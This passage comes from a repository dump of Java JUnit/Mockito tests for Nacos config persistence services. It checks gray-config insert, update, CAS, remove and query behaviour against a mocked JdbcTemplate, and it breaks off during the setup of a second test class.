  }\n    \n    /**\n     * after each test case.\n     */\n    @AfterEach\n    public void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        externalStorageUtilsMockedStatic.close();\n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayOfUpdate() {\n        String dataId = \"grayDataId113\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        \n        //mock exist gray\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        \n        //mock exist config info\n        ConfigInfoGrayWrapper configAllInfo4Gray = new ConfigInfoGrayWrapper();\n        configAllInfo4Gray.setDataId(dataId);\n        configAllInfo4Gray.setGroup(group);\n        configAllInfo4Gray.setTenant(tenant);\n        configAllInfo4Gray.setMd5(\"old_md5\");\n        String grayName = \"grayName...\";\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper);\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(configAllInfo4Gray);\n        \n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appName\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        String grayRule = \"grayRule...\";\n        ConfigOperateResult configOperateResult = externalConfigInfoGrayPersistService.insertOrUpdateGray(configInfo,\n                grayName, grayRule, srcIp, srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify update to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(configInfo.getContent()), eq(configInfo.getEncryptedDataKey()),\n                        eq(configInfo.getMd5()), eq(srcIp), eq(srcUser), eq(configInfo.getAppName()), eq(grayRule),\n                        eq(dataId), eq(group), eq(tenant), eq(grayName));\n        \n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayOfAdd() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        String grayName = \"grayName...\";\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1))\n                .thenReturn(mockedConfigInfoStateWrapper);\n        \n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        String grayRule = \"grayRule...\";\n        \n        //execute\n        ConfigOperateResult configOperateResult = externalConfigInfoGrayPersistService.insertOrUpdateGray(configInfo,\n                grayName, grayRule, srcIp, srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify add to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(dataId), eq(group), eq(tenant), eq(grayName), eq(grayRule),\n                        eq(configInfo.getAppName()), eq(configInfo.getContent()), eq(configInfo.getEncryptedDataKey()),\n                        eq(configInfo.getMd5()), eq(srcIp), eq(srcUser));\n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayOfException() {\n        String dataId = \"grapDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        \n        //mock exist gray\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        String grayName = \"grayName...\";\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper);\n\n        ConfigInfoGrayWrapper mockedConfigInfoGrayWrapper = new ConfigInfoGrayWrapper();\n        mockedConfigInfoGrayWrapper.setDataId(dataId);\n        mockedConfigInfoGrayWrapper.setGroup(group);\n        mockedConfigInfoGrayWrapper.setTenant(tenant);\n        mockedConfigInfoGrayWrapper.setId(mockedConfigInfoStateWrapper.getId());\n        mockedConfigInfoGrayWrapper.setLastModified(mockedConfigInfoStateWrapper.getLastModified());\n        mockedConfigInfoGrayWrapper.setGrayName(grayName);\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n            eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoGrayWrapper);\n        \n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        configInfo.setMd5(\"casMd5\");\n        String grayRule = \"grayRule...\";\n        // mock update throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(configInfo.getContent()), eq(configInfo.getEncryptedDataKey()),\n                eq(MD5Utils.md5Hex(content, ENCODE)), eq(srcIp), eq(srcUser), eq(configInfo.getAppName()), eq(grayRule),\n                eq(dataId), eq(group), eq(tenant), eq(grayName))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock fail\"));\n        //execute of update& expect.\n        try {\n            externalConfigInfoGrayPersistService.insertOrUpdateGray(configInfo, grayName, grayRule, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail\", exception.getMessage());\n        }\n        \n        //mock query return null\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null);\n        //mock add throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(dataId), eq(group), eq(tenant), eq(grayName), eq(grayRule),\n                eq(configInfo.getAppName()), eq(configInfo.getContent()), eq(configInfo.getEncryptedDataKey()),\n                eq(MD5Utils.md5Hex(content, ENCODE)), eq(srcIp), eq(srcUser))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock fail add\"));\n        \n        //execute of add& expect.\n        try {\n            externalConfigInfoGrayPersistService.insertOrUpdateGray(configInfo, grayName, grayRule, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail add\", exception.getMessage());\n        }\n        \n        //mock query throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(\n                new CannotGetJdbcConnectionException(\"get c fail\"));\n        //execute of add& expect.\n        try {\n            externalConfigInfoGrayPersistService.insertOrUpdateGray(configInfo, grayName, grayRule, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"get c fail\", exception.getMessage());\n        }\n        \n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayCasOfUpdate() {\n        String dataId = \"grayDataId113\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        \n        //mock exist gray\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        String grayName = \"grayName...\";\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper,\n                mockedConfigInfoStateWrapper);\n        \n        //execute\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        configInfo.setMd5(\"casMd5\");\n        String grayRule = \"grayRule...\";\n        //mock cas update\n        when(jdbcTemplate.update(anyString(), eq(configInfo.getContent()), eq(MD5Utils.md5Hex(content, ENCODE)),\n                eq(srcIp), eq(srcUser), eq(configInfo.getAppName()), eq(grayRule), eq(dataId), eq(group), eq(tenant),\n                eq(grayName), eq(configInfo.getMd5()))).thenReturn(1);\n        \n        //mock exist config info\n        ConfigInfoGrayWrapper configAllInfo4Gray = new ConfigInfoGrayWrapper();\n        configAllInfo4Gray.setDataId(dataId);\n        configAllInfo4Gray.setGroup(group);\n        configAllInfo4Gray.setTenant(tenant);\n        configAllInfo4Gray.setMd5(\"old_md5\");\n        String grayName1 = \"grayName1...\";\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(configAllInfo4Gray);\n        \n        ConfigOperateResult configOperateResult = externalConfigInfoGrayPersistService.insertOrUpdateGrayCas(configInfo,\n                grayName, grayRule, srcIp, srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify cas update to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(configInfo.getContent()), eq(MD5Utils.md5Hex(content, ENCODE)), eq(srcIp),\n                        eq(srcUser), eq(configInfo.getAppName()), eq(grayRule), eq(dataId), eq(group), eq(tenant),\n                        eq(grayName), eq(configInfo.getMd5()));\n        \n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayCasOfAdd() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        \n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        String grayName = \"grayName...\";\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1))\n                .thenReturn(mockedConfigInfoStateWrapper);\n        \n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        configInfo.setMd5(\"csMd5\");\n        String grayRule = \"grayRule...\";\n        //execute\n        ConfigOperateResult configOperateResult = externalConfigInfoGrayPersistService.insertOrUpdateGrayCas(configInfo,\n                grayName, grayRule, srcIp, srcUser);\n        //expect return obj\n        assertEquals(mockedConfigInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(mockedConfigInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        //verify add to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(dataId), eq(group), eq(tenant), eq(grayName), eq(grayRule),\n                        eq(configInfo.getAppName()), eq(configInfo.getContent()), eq(configInfo.getEncryptedDataKey()),\n                        eq(MD5Utils.md5Hex(content, ENCODE)), eq(srcIp), eq(srcUser));\n        \n    }\n    \n    @Test\n    public void testInsertOrUpdateGrayCasOfException() {\n        String dataId = \"betaDataId113\";\n        String group = \"group113\";\n        String tenant = \"tenant113\";\n        \n        //mock exist beta\n        ConfigInfoStateWrapper mockedConfigInfoStateWrapper = new ConfigInfoStateWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        String grayName = \"grayName...\";\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper);\n\n        ConfigInfoGrayWrapper mockedConfigInfoGrayWrapper = new ConfigInfoGrayWrapper();\n        mockedConfigInfoGrayWrapper.setDataId(dataId);\n        mockedConfigInfoGrayWrapper.setGroup(group);\n        mockedConfigInfoGrayWrapper.setTenant(tenant);\n        mockedConfigInfoGrayWrapper.setId(mockedConfigInfoStateWrapper.getId());\n        mockedConfigInfoGrayWrapper.setLastModified(mockedConfigInfoStateWrapper.getLastModified());\n        mockedConfigInfoGrayWrapper.setGrayName(grayName);\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n            eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoGrayWrapper);\n\n        String srcIp = \"srcUp...\";\n        String srcUser = \"srcUser...\";\n        String appName = \"appname\";\n        String content = \"content111\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key34567\");\n        configInfo.setMd5(\"casMd5\");\n        String grayRule = \"grayRule...\";\n        // mock update throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(configInfo.getContent()), eq(MD5Utils.md5Hex(content, ENCODE)),\n                eq(srcIp), eq(srcUser), eq(configInfo.getAppName()), eq(grayRule), eq(dataId), eq(group), eq(tenant),\n                eq(grayName), eq(configInfo.getMd5()))).thenThrow(\n                new CannotGetJdbcConnectionException(\"updat mock fail\"));\n        \n        //execute of update& expect.\n        try {\n            externalConfigInfoGrayPersistService.insertOrUpdateGrayCas(configInfo, grayName, grayRule, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"updat mock fail\", exception.getMessage());\n        }\n        \n        //mock query return null\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null);\n        //mock add throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(dataId), eq(group), eq(tenant), eq(grayName), eq(grayRule),\n                eq(configInfo.getAppName()), eq(configInfo.getContent()), eq(configInfo.getEncryptedDataKey()),\n                eq(MD5Utils.md5Hex(content, ENCODE)), eq(srcIp), eq(srcUser))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock fail add\"));\n        \n        //execute of add& expect.\n        try {\n            externalConfigInfoGrayPersistService.insertOrUpdateGrayCas(configInfo, grayName, grayRule, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail add\", exception.getMessage());\n        }\n        \n        //mock query throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(\n                new CannotGetJdbcConnectionException(\"get c fail\"));\n        //execute of add& expect.\n        try {\n            externalConfigInfoGrayPersistService.insertOrUpdateGrayCas(configInfo, grayName, grayRule, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"get c fail\", exception.getMessage());\n        }\n        \n    }\n    \n    @Test\n    void testRemoveConfigInfo() {\n        String dataId = \"dataId4567\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        final String grayName = \"grayName1\";\n        \n        //mock exist config info\n        ConfigInfoGrayWrapper configAllInfo4Gray = new ConfigInfoGrayWrapper();\n        configAllInfo4Gray.setDataId(dataId);\n        configAllInfo4Gray.setGroup(group);\n        configAllInfo4Gray.setTenant(tenant);\n        configAllInfo4Gray.setMd5(\"old_md5\");\n        \n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(configAllInfo4Gray);\n        Mockito.when(databaseOperate.update(any())).thenReturn(true);\n        \n        String srcIp = \"srcIp1234\";\n        String srcUser = \"srcUser\";\n        externalConfigInfoGrayPersistService.removeConfigInfoGray(dataId, group, tenant, grayName, srcIp, srcUser);\n        \n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(dataId), eq(group), eq(tenant), eq(grayName));\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo4Gray.getId()), eq(configAllInfo4Gray), eq(srcIp),\n                        eq(srcUser), any(Timestamp.class), eq(\"D\"), eq(\"gray\"), eq(grayName), anyString());\n        \n        // Test the exception handling for CannotGetJdbcConnectionException\n        when(jdbcTemplate.update(anyString(), eq(dataId), eq(group), eq(tenant), eq(grayName))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock fail11111\"));\n        \n    }\n    \n    @Test\n    public void testFindChangeConfigInfo4Gray() {\n        List<ConfigInfoGrayWrapper> mockList = new ArrayList<>();\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.get(0).setLastModified(System.currentTimeMillis());\n        mockList.get(1).setLastModified(System.currentTimeMillis());\n        mockList.get(2).setLastModified(System.currentTimeMillis());\n        \n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        \n        long lastMaxId = 123;\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {timestamp, lastMaxId, 100}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(mockList)\n                .thenThrow(new CannotGetJdbcConnectionException(\"mock exception22\"));\n        \n        List<ConfigInfoGrayWrapper> changeConfig = externalConfigInfoGrayPersistService.findChangeConfig(timestamp,\n                lastMaxId, 100);\n        assertTrue(changeConfig.get(0).getLastModified() == mockList.get(0).getLastModified());\n        assertTrue(changeConfig.get(1).getLastModified() == mockList.get(1).getLastModified());\n        assertTrue(changeConfig.get(2).getLastModified() == mockList.get(2).getLastModified());\n        try {\n            externalConfigInfoGrayPersistService.findChangeConfig(timestamp, lastMaxId, 100);\n            assertTrue(false);\n        } catch (CannotGetJdbcConnectionException exception) {\n            assertEquals(\"mock exception22\", exception.getMessage());\n        }\n        \n    }\n    \n    @Test\n    public void testFindConfigInfo4Gray() {\n        String dataId = \"dataId456789\";\n        String group = \"group4567\";\n        String tenant = \"tenant56789o0\";\n        String grayName = \"gray12\";\n        //mock exist gray\n        ConfigInfoGrayWrapper mockedConfigInfoStateWrapper = new ConfigInfoGrayWrapper();\n        mockedConfigInfoStateWrapper.setDataId(dataId);\n        mockedConfigInfoStateWrapper.setGroup(group);\n        mockedConfigInfoStateWrapper.setGrayName(grayName);\n        mockedConfigInfoStateWrapper.setTenant(tenant);\n        mockedConfigInfoStateWrapper.setId(123456L);\n        mockedConfigInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfigInfoStateWrapper);\n        ConfigInfoGrayWrapper configInfo4GrayReturn = externalConfigInfoGrayPersistService.findConfigInfo4Gray(dataId,\n                group, tenant, grayName);\n        assertEquals(mockedConfigInfoStateWrapper, configInfo4GrayReturn);\n        \n        //mock query throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenThrow(\n                new CannotGetJdbcConnectionException(\"mock fail11111\"));\n        try {\n            externalConfigInfoGrayPersistService.findConfigInfo4Gray(dataId, group, tenant, grayName);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"mock fail11111\", exception.getMessage());\n        }\n        \n        //mock query throw EmptyResultDataAccessException\n        when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, grayName}),\n                eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1));\n        ConfigInfoGrayWrapper configInfo4GrayNull = externalConfigInfoGrayPersistService.findConfigInfo4Gray(dataId,\n                group, tenant, grayName);\n        assertNull(configInfo4GrayNull);\n    }\n    \n    @Test\n    public void testConfigInfoGrayCount() {\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(101);\n        int returnCount = externalConfigInfoGrayPersistService.configInfoGrayCount();\n        assertEquals(101, returnCount);\n    }\n    \n    @Test\n    public void testFindAllConfigInfoGrayForDumpAll() {\n        //mock count\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(12345);\n        \n        //mock page list\n        List<ConfigInfoGrayWrapper> mockList = new ArrayList<>();\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.add(new ConfigInfoGrayWrapper());\n        mockList.get(0).setLastModified(System.currentTimeMillis());\n        mockList.get(1).setLastModified(System.currentTimeMillis());\n        mockList.get(2).setLastModified(System.currentTimeMillis());\n        \n        when(jdbcTemplate.query(anyString(), eq(new Object[] {}), eq(CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER))).thenReturn(\n                mockList);\n        \n        int pageNo = 1;\n        int pageSize = 101;\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(101);\n        //execute & expect\n        Page<ConfigInfoGrayWrapper> pageReturn = externalConfigInfoGrayPersistService.findAllConfigInfoGrayForDumpAll(\n                pageNo, pageSize);\n        assertEquals(mockList, pageReturn.getPageItems());\n        assertEquals(101, pageReturn.getTotalCount());\n        \n        //mock count throw CannotGetJdbcConnectionException\n        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenThrow(\n                new CannotGetJdbcConnectionException(\"345678909fail\"));\n        //execute &expect\n        try {\n            externalConfigInfoGrayPersistService.findAllConfigInfoGrayForDumpAll(pageNo, pageSize);\n            assertTrue(false);\n        } catch (Exception exception) {\n            assertEquals(\"345678909fail\", exception.getMessage());\n        }\n    }\n    \n}\n\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.sql.ExternalStorageUtils;\nimport com.alibaba.nacos.config.server.utils.ConfigExtInfoUtil;\nimport com.alibaba.nacos.config.server.utils.TestCaseUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoMapper;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.dao.CannotAcquireLockException;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.dao.IncorrectResultSizeDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.support.GeneratedKeyHolder;\nimport org.springframework.jdbc.support.KeyHolder;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_ADVANCE_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_ALL_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_WRAPPER_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\nclass ExternalConfigInfoPersistServiceImplTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<ExternalStorageUtils> externalStorageUtilsMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    private ExternalConfigInfoPersistServiceImpl externalConfigInfoPersistService;\n    \n    @Mock\n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private JdbcTemplate jdbcTemplate;\n    \n    private TransactionTemplate transactionTemplate = TestCaseUtils.createMockTransactionTemplate();\n    \n    @BeforeEach\n    void before() {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        externalStorageUtilsMockedStatic = Mockito.mockStatic(ExternalStorageUtils.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getTransactionTemplate()).thenReturn(transactionTemplate);\n        when(dataSourceService.getJdbcTemplate()).thenReturn(jdbcTemplate);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"mysql\");\n        /*when(EnvUtil.getProperty(anyString(), eq(Boolean.class),\n                eq(false))).thenReturn(false);*/\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false)))\n                .thenReturn(false);\n        externalConfigInfoPersistService = 